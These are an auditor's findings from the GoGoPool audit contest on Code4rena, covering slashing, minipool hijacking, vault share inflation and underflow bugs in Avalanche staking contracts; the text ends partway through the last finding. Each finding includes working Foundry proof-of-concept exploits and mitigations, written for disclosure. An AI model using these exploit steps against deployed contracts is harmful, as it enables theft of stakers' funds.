GoGoPool contest - 0xdeadbeef0x's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L560

Vulnerability details

Impact

Node operators that signed up for a duration longer then the minimum 14 days will get slashed disproportionally.

Additionally, the collateralization ratio will become lower then minimum and recreateMinipool will fail until more funds are staked.

Proof of Concept

In the end of each validation period (14 days) if no rewards were received from the Avalanche validator, the protocol will slash GGP tokens from the node operator. recordStakingEnd: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L425

	function recordStakingEnd(
		address nodeID,
		uint256 endTime,
		uint256 avaxTotalRewardAmt
	) external payable {
----------
		// No rewards means validation period failed, must slash node ops GGP.
		if (avaxTotalRewardAmt == 0) {
			slash(minipoolIndex);
		}
----------
	}

The slashing calculation is based on the duration the node operator has set when creating the minipool and is calculated in getExpectedAVAXRewardsAmt.

slash: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L675

	function slash(int256 index) private {
----------
		uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration")));
		uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt")));
		uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt);
		uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt);
----------
		staking.slashGGP(owner, slashGGPAmt);
	}

getExpectedAVAXRewardsAmt: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L560

	function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) {
		ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO"));
		uint256 rate = dao.getExpectedAVAXRewardsRate();
		return (avaxAmt.mulWadDown(rate) * duration) / 365 days;
	}

The rate is set to 0.1 on ProtocolDAO creation. As can be seen above, the calculation is performed on the entire duration of the minipool.

A node operator that has set the minipool to work for 1 year would expect that if his node fails for one validation cycle (14 days) he would be slashed only for that 14 days validation and not for the entire year. This expectation make sense since the protocol manages recreating the minipool every 14 days.

With the current implementation:

• NodeOp#1 - creates minipool for 14 days, gets slashed for only 3.8% of his staked GGP collateral (0.003 AVAX)
• NodeOp#2 - creates minipool for 365 days, fails on first validation cycle (after 14 days). 100% OF THE STAKED COLLATERAL IS SLASHED (100 AVAX) NodeOp#2 will lose 2507% more GGP tokens then NodeOp#1 for the same performance.

Additionally, the collaterization ratio of NodeOp#2 falls low because of the slash and the recreateMinipool fails. Therefore NodeOp#2 will not continue in validating Avalanche.

Foundry POC

The POC will demonstrate both NodeOp#1 and NodeOp#2

Add the following test to MinipoolManager.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175

	function testDisproportionalSlashing() public {
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 100 ether;
		address nodeOp1 = address(0x1111);
		address nodeOp2 = address(0x2222);

		// Fund node operators
		dealGGP(nodeOp1, ggpStakeAmt);
		vm.deal(nodeOp1, depositAmt);
		dealGGP(nodeOp2, ggpStakeAmt);
		vm.deal(nodeOp2, depositAmt);

		// Create minipool for nodeOp1 with duration of 14 days
		vm.startPrank(nodeOp1);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, 14 days);
		vm.stopPrank();

		// Create minipool for nodeOp2 with duration of 365 days
		vm.startPrank(nodeOp2);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory mp2 = createMinipool(depositAmt, avaxAssignmentRequest, 365 days);
		vm.stopPrank();

		// Fund the ggAVAX
		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		// claimAndInitiateStaking is executed and staking is recorded 
		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
		minipoolMgr.claimAndInitiateStaking(mp2.nodeID);
		minipoolMgr.recordStakingStart(mp1.nodeID, keccak256("txid1"), block.timestamp);
		minipoolMgr.recordStakingStart(mp2.nodeID, keccak256("txid2"), block.timestamp);

		// Staking has ended with no rewards, slashing happens here
		skip(14 days);
		minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether);
		minipoolMgr.recordStakingEnd{value: validationAmt}(mp2.nodeID, block.timestamp, 0 ether);
		vm.stopPrank();

		// Validate that only 0.003835616438356164383 AVAX of ggpStakeAmt is slashed for nodeOp1
		assertEq(minipoolMgr.getExpectedAVAXRewardsAmt(14 days, avaxAssignmentRequest), 3835616438356164383);
		assertEq(staking.getGGPStake(nodeOp1), (ggpStakeAmt) - 3835616438356164383);

		// Validate that all ggpStakeAmt is slashed for nodeOp2
		assertEq(minipoolMgr.getExpectedAVAXRewardsAmt(365 days, avaxAssignmentRequest), ggpStakeAmt);
		assertEq(staking.getGGPStake(nodeOp2), 0);

		// NodeOp2 will not be able to continue to validating the next cycles
		vm.prank(address(rialto));
		vm.expectRevert(MinipoolManager.InsufficientGGPCollateralization.selector);
		minipoolMgr.recreateMinipool(mp2.nodeID);
	}

To run the POC, execute:

forge test -m testDisproportionalSlashing -v 

Expected output:

Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testDisproportionalSlashing() (gas: 2260126)
Test result: ok. 1 passed; 0 failed; finished in 7.20ms

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Because all validation rounds are 14 days, set the getExpectedAVAXRewardsAmt to calculate using 14 days instead of duration.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243

Vulnerability details

Impact

A malicious actor can hijack a minipool of any node operator that finished the validation period or had an error.

The impacts:

1. Node operators staked funds will be lost (Loss of funds)
2. Hacker can hijack the minipool and retrieve rewards without hosting a node. (Theft of yield) 2.1 See scenario #2 comment for dependencies

Proof of Concept

Background description

The protocol created a state machine that validates transitions between minipool states. For this exploit it is important to understand three states:

1. Prelaunch - This state is the initial state when a minipool is created. The created minipool will have a status of Prelaunch until liquid stakers funds are matched and rialto stakes 2000 AVAX into Avalanche.
2. Withdrawable - This state is set when the 14 days validation period is over. In this state: 2.1. rialto returned 1000 AVAX to the liquid stakers and handled reward distribution. 2.2. Node operators can withdraw their staked funds and rewards. 2.3. If the node operator signed up for a duration longer than 14 days rialto will recreate the minipool and stake it for another 14 days.
3. Error - This state is set when rialto has an issue to stake the funds in Avalanche

The state machine allows transitions according the requireValidStateTransition function: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164

    function requireValidStateTransition(int256 minipoolIndex, MinipoolStatus to) private view {
------
        } else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) {
		isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch);
	} else if (currentStatus == MinipoolStatus.Finished || currentStatus == MinipoolStatus.Canceled) {
		// Once a node is finished/canceled, if they re-validate they go back to beginning state
		isValid = (to == MinipoolStatus.Prelaunch);
------

In the above restrictions, we can see that the following transitions are allowed:

1. From Withdrawable state to Prelaunch state. This transition enables rialto to call recreateMinipool
2. From Finished state to Prelaunch state. This transition allows a node operator to re-use their nodeID to stake again in the protocol.
3. From Error state to Prelaunch state. This transition allows a node operator to re-use their nodeID to stake again in the protocol after an error.

#2 is a needed capability, therefore createMinipool allows overriding a minipool record if: nodeID already exists and transition to Prelaunch is permitted

createMinipool: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L242

	function createMinipool(
		address nodeID,
		uint256 duration,
		uint256 delegationFee,
		uint256 avaxAssignmentRequest
	) external payable whenNotPaused {
---------
		// Create or update a minipool record for nodeID
		// If nodeID exists, only allow overwriting if node is finished or canceled
		// 		(completed its validation period and all rewards paid and processing is complete)
		int256 minipoolIndex = getIndexOf(nodeID);
		if (minipoolIndex != -1) {
			requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
			resetMinipoolData(minipoolIndex);
----------
		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch));
----------
		setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);
----------
	}

THE BUG: createMinipool can be called by Anyone with the nodeID of any node operator.

If createMinipool is called at the Withdrawable state or Error state:

• The transaction will be allowed
• The owner of the minipool will be switched to the caller.

Therefore, the minipool is hijacked and the node operator will not be able to withdraw their funds.

Exploit scenarios

As shown above, an attacker can always hijack the minipool and lock the node operators funds.

1. Cancel the minipool
2. Earn rewards on behalf of original NodeOp

Scenario #1 - Cancel the minipool

A hacker can hijack the minipool and immediately cancel the pool after a 14 day period is finished or an error state. Results:

1. Node operator will lose all his staked AVAX 1.1. This can be done by a malicious actor to ALL GoGoPool stakers to lose their funds in a period of 14 days.
2. Hacker will not lose anything and not gain anything.

Consider the following steps:

1. Hacker creates a node and creates a minipool node-1337.
2. NodeOp registers a nodeID node-123 and finished the 14 days stake period. State is Withdrawable.
3. Hacker calls createMinipool with node-123 and deposits 1000 AVAX. Hacker is now owner of the minipool
4. Hacker calls cancelMinipool of node-123 and receives his staked 1000 AVAX.
5. NodeOp cannot withdraw his staked AVAX as NodeOp is no longer the owner.
6. Hacker can withdraw staked AVAX for both node-1337 and node-123

The above step #1 is not necessary but allow the hacker to immediately cancel the minipool without waiting 5 days (See other submitted bug #211: "Anti griefing mechanism can be bypassed")

       ┌───────────┐               ┌───────────┐            ┌───────────┐              ┌───────────┐
       │           │               │           │            │           │              │           │
       │   Rialto  │               │  NodeOp   │            │  Minipool │              │ Hacker    │
       │           │               │           │            │  Manager  │              │           │
       └─────┬─────┘               └─────┬─────┘            └─────┬─────┘              └─────┬─────┘
             │claimAndInitiate(Node-1337)│                        │createMinipool(Node-1337) │
             │recordStakingStart(...)    │                        │◄─────────────────────────┤ ┌────────────┐
             ├───────────────────────────┼───────────────────────►│                          │ │ 1000 AVAX  │
             │                           │                        │                          │ │ 100 GPP    │
             │                           │createMinipool(Node-123)│                          │ └────────────┘
             │claimAndInitiate(Node-123) ├───────────────────────►│                          │
             │recordStakingStart(...)    │                        │                          │
             ├───────────────────────────┼───────────────────────►│                          │
┌──────────┐ │                           │                        │                          │
│14 days   │ │recordStakingEnd(Node-1337)│                        │                          │
└──────────┘ │recordStakingEnd(Node-123) │//STATE: WITHDRAWABLE// │                          │ ┌────────────┐
             ├───────────────────────────┼───────────────────────►│                          │ │ 1000 AVAX  │
             │                           │                        │createMinipool(Node-123)  │ │Hacker=Owner│
             │                           │                        │◄─────────────────────────┤ └────────────┘
             │                           │withdrawMinipoolF..(123)│                          │
             │                           ├───────────────────────►│cancleMinipool(Node-123)  │
             │                           │       REVERT!          │◄─────────────────────────┤
             │                           │◄───────────────────────┤      1000 AVAX           │
             │                           │                        ├─────────────────────────►│
             │                           │   ┌────────────────┐   │withdrawMinipoolFunds(1337│ ┌──────────┐
             │                           │   │  NodeOp loses  │   │◄─────────────────────────┤ │Withdraw  │
             │                           │   │  his 1000 AVAX │   │      1000 AVAX + REWARDS │ │stake and │
             │                           │   │  Stake, cannot │   ├─────────────────────────►│ │rewards   │
             │                           │   │  withdraw      │   │                          │ └──────────┘
             │                           │   └────────────────┘   │     ┌───────────────┐    │
             │                           │                        │     │Hacker loses no│    │
             │                           │                        │     │funds, can     │    │
             │                           │                        │     │withdraw GPP   │    │
             │                           │                        │     └───────────────┘    │

Scenario #2 - Use node of node operator

In this scenario the NodeOp registers for a duration longer then 14 days. The hacker will hijack the minipool after 14 days and earn rewards on behalf of the node operators node for the rest of the duration. As the NodeOp registers for a longer period of time, it is likely he will not notice he is not the owner of the minipool and continue to use his node to validate Avalanche.

Results:

1. Node operator will lose all his staked AVAX
2. Hacker will gain rewards for staking without hosting a node

Important to note:

• This scenario is only possible if recordStakingEnd and recreateMinipool are not called in the same transaction by rialto.
• During the research the sponsor has elaborated that they plan to perform the calls in the same transaction.
• The sponsor requested to submit issues related to recordStakingEnd and recreateMinipool single/multi transactions for information and clarity anyway.

Consider the following steps:

1. Hacker creates a node and creates a minipool node-1337.
2. NodeOp registers a nodeID node-123 for 28 days duration and finished the 14 days stake period. State is Withdrawable.
3. Hacker calls createMinipool with node-1234 and deposits 1000 AVAX. Hacker is now owner of minipool
4. Rialto calls recreateMinipool to restake the minipool in Avalanche. (This time: the owner is the hacker, the hardware is NodeOp)
5. 14 days have passed, hacker can withdraw the rewards and 1000 staked AVAX
6. NodeOps cannot withdraw staked AVAX.

Foundry POC

The POC will demonstrate scenario #1.

Add the following test to MinipoolManager.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175

	function testHijackMinipool() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 rewards = 10 ether;
		uint256 expectedRewards = (rewards/2)+(rewards/2).mulWadDown(dao.getMinipoolNodeCommissionFeePct());
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 100 ether;
		address hacker = address(0x1337);
		// Fund hacker with exact AVAX and gpp
		vm.deal(hacker, depositAmt*2);
		dealGGP(hacker, ggpStakeAmt);
		// Fund nodeOp with exact AVAX and gpp
		nodeOp = address(0x123);
		vm.deal(nodeOp, depositAmt);
		dealGGP(nodeOp, ggpStakeAmt);

		// fund ggAVAX
		address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
		vm.prank(lilly);
		ggAVAX.depositAVAX{value: MAX_AMT}();
		assertEq(lilly.balance, 0);

		vm.startPrank(hacker);
		// Hacker stakes GGP
		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);

		// Create minipool for hacker
		MinipoolManager.Minipool memory hackerMp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		vm.startPrank(nodeOp);
		// nodeOp stakes GGP
		ggp.approve(address(staking), ggpStakeAmt);
		staking.stakeGGP(ggpStakeAmt);

		// Create minipool for nodeOp
		MinipoolManager.Minipool memory nodeOpMp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		// Rialto stakes both hackers and nodeOp in avalanche 
		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(nodeOpMp.nodeID);
		minipoolMgr.claimAndInitiateStaking(hackerMp.nodeID);

		// Update that staking has started
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(nodeOpMp.nodeID, txID, block.timestamp);
		minipoolMgr.recordStakingStart(hackerMp.nodeID, txID, block.timestamp);

		// Skip 14 days of staking duration
		skip(duration);

		// Update that staking has ended and funds are withdrawable
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(nodeOpMp.nodeID, block.timestamp, 10 ether);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(hackerMp.nodeID, block.timestamp, 10 ether);
		vm.stopPrank();

		/// NOW STATE: WITHDRAWABLE ///

		vm.startPrank(hacker);
		// Hacker creates a minipool using nodeID of nodeOp
		// Hacker is now the owner of nodeOp minipool
		minipoolMgr.createMinipool{value: depositAmt}(nodeOpMp.nodeID, duration, 0.02 ether, avaxAssignmentRequest);

		// Hacker immediatally cancels the nodeOp minipool, validate 1000 AVAX returned
		minipoolMgr.cancelMinipool(nodeOpMp.nodeID);
		assertEq(hacker.balance, depositAmt);
		// Hacker withdraws his own minipool and receives 1000 AVAX + rewards
		minipoolMgr.withdrawMinipoolFunds(hackerMp.nodeID);
		assertEq(hacker.balance, depositAmt + depositAmt + expectedRewards);

		// Hacker withdraws his staked ggp
		staking.withdrawGGP(ggpStakeAmt);
		assertEq(ggp.balanceOf(hacker), ggpStakeAmt);
		vm.stopPrank();

		vm.startPrank(nodeOp);
		// NodeOp tries to withdraw his funds from the minipool
		// Transaction reverts because NodeOp is not the owner anymore
		vm.expectRevert(MinipoolManager.OnlyOwner.selector);
		minipoolMgr.withdrawMinipoolFunds(nodeOpMp.nodeID);

		// NodeOp can still release his staked gpp
		staking.withdrawGGP(ggpStakeAmt);
		assertEq(ggp.balanceOf(nodeOp), ggpStakeAmt);
		vm.stopPrank();
	}

To run the POC, execute:

forge test -m testHijackMinipool -v

Expected output:

Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testHijackMinipool() (gas: 2346280)
Test result: ok. 1 passed; 0 failed; finished in 9.63s

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Fortunately, the fix is very simple. The reason createMinipool is called with an existing nodeID is to re-use the nodeID again with the protocol. GoGoPool can validate that the owner is the same address as the calling address. GoGoPool have already implemented a function that does this: onlyOwner(index).

Consider placing onlyOwner(index) in the following area: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243

	function createMinipool(
		address nodeID,
		uint256 duration,
		uint256 delegationFee,
		uint256 avaxAssignmentRequest
	) external payable whenNotPaused {
----------
		int256 minipoolIndex = getIndexOf(nodeID);
		if (minipoolIndex != -1) {
                        onlyOwner(minipoolIndex); // AUDIT: ADDED HERE
----------
		} else {
----------
	}

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L123

Vulnerability details

Impact

Inflation of ggAVAX share price can be done by depositing as soon as the vault is created.

Impact:

1. Early depositor will be able steal other depositors funds
2. Exchange rate is inflated. As a result depositors are not able to deposit small funds.

Proof of Concept

If ggAVAX is not seeded as soon as it is created, a malicious depositor can deposit 1 WEI of AVAX to receive 1 share. The depositor can donate WAVAX to the vault and call syncRewards. This will start inflating the price.

When the attacker front-runs the creation of the vault, the attacker:

1. Calls depositAVAX to receive 1 share
2. Transfers WAVAX to ggAVAX
3. Calls syncRewards to inflate exchange rate

The issue exists because the exchange rate is calculated as the ratio between the totalSupply of shares and the totalAssets(). When the attacker transfers WAVAX and calls syncRewards(), the totalAssets() increases gradually and therefore the exchange rate also increases.

convertToShares : https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L123

	function convertToShares(uint256 assets) public view virtual returns (uint256) {
		uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.

		return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
	}

Its important to note that while it is true that cycle length is 14 days, in practice time between cycles can very between 0-14 days. This is because syncRewards validates that the next reward cycle is evenly divided by the length (14 days).

syncRewards: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L102

	function syncRewards() public {
----------
		// Ensure nextRewardsCycleEnd will be evenly divisible by `rewardsCycleLength`.
		uint32 nextRewardsCycleEnd = ((timestamp + rewardsCycleLength) / rewardsCycleLength) * rewardsCycleLength;
---------
	}

Therefore:

• The closer the call to syncRewards is to the next evenly divisible value of rewardsCycleLength, the closer the next rewardsCycleEnd will be.
• The closer the delta between syncRewards calls is, the higher revenue the attacker will get.

Edge case example: syncRewards is called with the timestamp 1672876799, syncRewards will be able to be called again 1 second later. (1672876799 + 14 days) / 14 days) * 14 days) = 1672876800

Additionally, the price inflation causes a revert for users who want to deposit less then the donation (WAVAX transfer) amount, due to precision rounding when depositing.

depositAVAX: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L166

	function depositAVAX() public payable returns (uint256 shares) {
------
		if ((shares = previewDeposit(assets)) == 0) {
			revert ZeroShares();
		}
------
	}

previewDeposit and convertToShares : https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L133 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L123

	function convertToShares(uint256 assets) public view virtual returns (uint256) {
		uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.

		return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
	}
	function previewDeposit(uint256 assets) public view virtual returns (uint256) {
		return convertToShares(assets);
	}

Foundry POC

The POC will demonstrate the below scenario:

1. Bob front-runs the vault creation.
2. Bob deposits 1 WEI of AVAX to the vault.
3. Bob transfers 1000 WAVAX to the vault.
4. Bob calls syncRewards when block.timestamp = 1672876799.
5. Bob waits 1 second.
6. Bob calls syncRewards again. Share price fully inflated.
7. Alice deposits 2000 AVAX to vault.
8. Bob withdraws 1500 AVAX (steals 500 AVAX from Alice).
9. Alice share earns her 1500 AVAX (although she deposited 2000).

Additionally, the POC will show that depositors trying to deposit less then the donation amount will revert.

Add the following test to TokenggAVAX.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108

	function testShareInflation() public {
		uint256 depositAmount = 1;
		uint256 aliceDeposit = 2000 ether;
		uint256 donationAmount = 1000 ether;
		vm.deal(bob, donationAmount  + depositAmount);
		vm.deal(alice, aliceDeposit);
		vm.warp(1672876799);

		// create new ggAVAX
		ggAVAXImpl = new TokenggAVAX();
		ggAVAX = TokenggAVAX(deployProxy(address(ggAVAXImpl), address(guardian)));
		ggAVAX.initialize(store, ERC20(address(wavax)));

		// Bob deposits 1 WEI of AVAX
		vm.prank(bob);
		ggAVAX.depositAVAX{value: depositAmount}();
		// Bob transfers 1000 AVAX to vault
		vm.startPrank(bob);
		wavax.deposit{value: donationAmount}();
		wavax.transfer(address(ggAVAX), donationAmount);
		vm.stopPrank();
		// Bob Syncs rewards
		ggAVAX.syncRewards();

		// 1 second has passed
		// This can range between 0-14 days. Every seconds, exchange rate rises
		skip(1 seconds);

		// Alice deposits 2000 AVAX
		vm.prank(alice);
		ggAVAX.depositAVAX{value: aliceDeposit}();

		//Expectet revert when any depositor deposits less then 1000 AVAX
		vm.expectRevert(bytes4(keccak256("ZeroShares()")));
		ggAVAX.depositAVAX{value: 10 ether}();

		// Bob withdraws maximum assests for his share
		uint256 maxWithdrawAssets = ggAVAX.maxWithdraw(bob);
		vm.prank(bob);
		ggAVAX.withdrawAVAX(maxWithdrawAssets);

		//Validate bob has withdrawn 1500 AVAX 
		assertEq(bob.balance, 1500 ether);

		// Alice withdraws maximum assests for her share
		maxWithdrawAssets = ggAVAX.maxWithdraw(alice);
		ggAVAX.syncRewards(); // to update accounting
		vm.prank(alice);
		ggAVAX.withdrawAVAX(maxWithdrawAssets);

		// Validate that Alice withdraw 1500 AVAX + 1 (~500 AVAX loss)
		assertEq(alice.balance, 1500 ether + 1);
	}

To run the POC, execute:

forge test -m testShareInflation -v

Expected output:

Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest
[PASS] testShareInflation() (gas: 3874399)
Test result: ok. 1 passed; 0 failed; finished in 8.71s

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

When creating the vault add initial funds in order to make it harder to inflate the price. Best practice would add initial funds as part of the initialization of the contract (to prevent front-running).

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L257

Vulnerability details

Impact

Node operators that set a duration for more than 365 days and did not perform well in the validation cycle will cause an underflow revert when slashed.

Impacts:

• Depositors will not be able to release their AVAX stake.
• Liquid stakers will not receive compensation.

Proof of Concept

createMinipool does not limit the the duration of a minipool. A node operator can set the duration to more than 365 days. https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L257

	function createMinipool(
		address nodeID,
		uint256 duration,
		uint256 delegationFee,
		uint256 avaxAssignmentRequest
	) external payable whenNotPaused {
----------
		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".duration")), duration);
----------
	}

After the 14 days validation period. If no rewards were received, recordStakingEnd would attempt to slash the node operator. The slashing mechanism uses the getExpectedAVAXRewardsAmt to calculate the number of expected AVAX rewards according to duration.

getExpectedAVAXRewardsAmt: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L560

	function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) {
		ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO"));
		uint256 rate = dao.getExpectedAVAXRewardsRate();
		return (avaxAmt.mulWadDown(rate) * duration) / 365 days;
	}

Currently 100 AVAX is required to be staked in GGP, this is 10% of the assigned liquidity from ggAVAX needs to be staked.

When duration is larger than 365 days, the returned amount in getExpectedAVAXRewardsAmt is larger than the GGP stake collateral (100 AVAX).

Therefore, when slashing an underflow occurs as more GGP than the staked amount is slashed. https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L96

	function decreaseGGPStake(address stakerAddr, uint256 amount) internal {
		int256 stakerIndex = requireValidStaker(stakerAddr);
		subUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".ggpStaked")), amount);
	}

Foundry POC:

The POC demonstrates the underflow when the 14 days validation period is over. Depositor will not be able to receive his staked AVAX.

Add the following test to MinipoolManager.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175

	function testMoreThan365days() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 100 ether;

		// Create a legitimate node
		dealGGP(nodeOp, ggpStakeAmt);
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		address nodeID = randAddress();
		minipoolMgr.createMinipool{value: depositAmt}(nodeID, 379 days, 0.02 ether, avaxAssignmentRequest);
		index = minipoolMgr.getIndexOf(nodeID);
		MinipoolManager.Minipool memory mp1 = minipoolMgr.getMinipool(index);
		vm.stopPrank();

		// Fund the ggAVAX
		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		// claimAndInitiateStaking is executed and staking is recorded 
		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
		minipoolMgr.recordStakingStart(mp1.nodeID, keccak256("txid"), block.timestamp);

		// Staking has ended with no rewards, slashing happens here
		// Expect for an underflow for slashing more than staked collatoral
		skip(duration);
		vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // "Arithmetic over/underflow"
		minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether);
		vm.stopPrank();

		// Node operator cannot withdraw his funds
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.InvalidStateTransition.selector);
		minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);
		vm.stopPrank();
	}

To run the POC, execute:

forge test -m testMoreThan365days -v 

Expected output:

Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testMoreThan365days() (gas: 1357080)
Test result: ok. 1 passed; 0 failed; finished in 5.92ms

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

In createMinipool, set an upper limit of duration to 365 days.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164

Vulnerability details

Impact

Node operators that signed up for a long duration of stake can cancel their stake and retrieve their funds.

Note:

• The bug is only possible to exploit if recordStakingEnd and recreateMinipool are not called as a single transaction.
• The sponsor has requested to submit bugs with the above assumption as the information has value for them although the protocol DOES plan to execute them in a single transaction.

Proof of Concept

The protocol re-stakes the NodeOps AVAX every 14 days after the validation period in Avalanche has ended.

In order to re-stake, the protocol calls recreateMinipool after recordStakingEnd was called. recordStakingEnd needs to be called in order to distribute rewards to liquid stakers.

When recordStakingEnd is called, the state of the minipool becomes Withdrawable. https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L407

	function recordStakingEnd(
		address nodeID,
		uint256 endTime,
		uint256 avaxTotalRewardAmt
	) external payable {
----------
